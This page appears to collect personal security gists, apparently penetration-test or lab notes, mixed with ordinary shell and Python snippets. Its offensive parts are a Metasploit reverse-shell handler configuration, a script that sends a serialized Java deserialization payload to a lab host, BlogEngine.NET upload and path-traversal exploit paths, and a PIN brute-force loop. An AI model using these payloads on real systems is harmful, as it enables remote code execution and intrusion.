This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MODIFIED VEIL HANDLER -- | |
msfc -r /var/lib/veil/output/handlers/3fb7Jq79.rc | |
/* | |
use exploit/multi/handler | |
set PAYLOAD windows/x64/meterpreter/reverse_tcp | |
set LHOST 10.10.14.13 | |
set LPORT 3434 | |
set ExitOnSession false | |
exploit -j |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- CREATE SERIALIZED PAYLOAD -- | |
NOTE -- | |
Downgrade to Java 8 !! | |
Java 9+ shits out... | |
-- ENCRYPT -- | |
https://github.com/frohoff/ysoserial | |
https://github.com/pimps/ysoserial-modified |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REMOVE CONTENT-LENGTH -- | |
POST -- | |
HTML SRC -- | |
<div class="row featurette"> | |
<div class="col-md-12"> | |
<h2 class="featurette-heading">Plugin Upload.<span class="text-muted"> Admins Only!</span></h2> | |
<p class="lead">Upload new plugins to include on this status page using the upload form below.</p> | |
<form action="addon-upload.php" method="POST" enctype="multipart/form-data"> | |
<input type="file" name="addon" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import hashlib | |
import hmac | |
import base64 | |
import requests | |
url = 'http://10.10.10.130:8080/userSubscribe.faces' | |
# re check the payload maybe generate it from kali (ysoserial pipe to base64) and make sure it is java 8 in order for it to work. | |
payload = 'rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAU3QAJnlzb3Nl |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Ref -- | |
https://www.exploit-db.com/exploits/46353 | |
https://securityboulevard.com/2019/03/remote-code-execution-in-blogengine-net/ | |
Exploit PATH -- | |
UPLOAD -- | |
http://target:port/BlogEngine/admin/app/editor/editpost.cshtml | |
POST -- | |
http://target:port/BlogEngine/?theme=../../App_Data/files |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if [[ "$TERM" != dumb ]] && (( $+commands[grc] )) ; then | |
# Supported commands | |
cmds=( | |
whois \ | |
wdiff \ | |
vmstat \ | |
uptime \ | |
ulimit \ | |
tune2fs \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# from my brother @t0nelok -- | |
# very useful -- | |
#!/bin/sh | |
for i in /etc/xdg/autostart/tracker-*.desktop; do | |
echo -e "Hidden=true" | sudo tee --append "$i" >/dev/null | |
done | |
gsettings set org.freedesktop.Tracker.Miner.Files crawling-interval -2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
For my Own ref -- | |
Pin Based -- | |
import string | |
import itertools | |
def main(): | |
for word in map(''.join, itertools.product(string.digits,repeat=int(5))): | |
r_word = ''.join(reversed(word)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Python3 intval equiv -- | |
# get intval from string -- | |
i_var = ''.join(x for x in var1 if x.isdigit()) | |
# pull 1st 4 chars -- | |
i_var = ''.join(x for x in var2[:4] if x.isdigit()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
repos cd $GIT | |
Github for i in `find . -name .git 2>/dev/null` ; do echo $i && cat $i/config | ag url; done | uniq | |
./Snoop/pspy/.git | |
url = [email protected]:DominicBreuker/pspy.git | |
./Misc/Audio/spotify-cli-linux/.git | |
url = [email protected]:pwittchen/spotify-cli-linux.git | |
./Misc/hurl/.git | |
url = https://gitlab.com/kalilinux/packages/hurl.git | |
./Misc/Devel/vim-python-ide/vim-python-ide/.git | |
url = https://github.com/rapphil/vim-python-ide.git |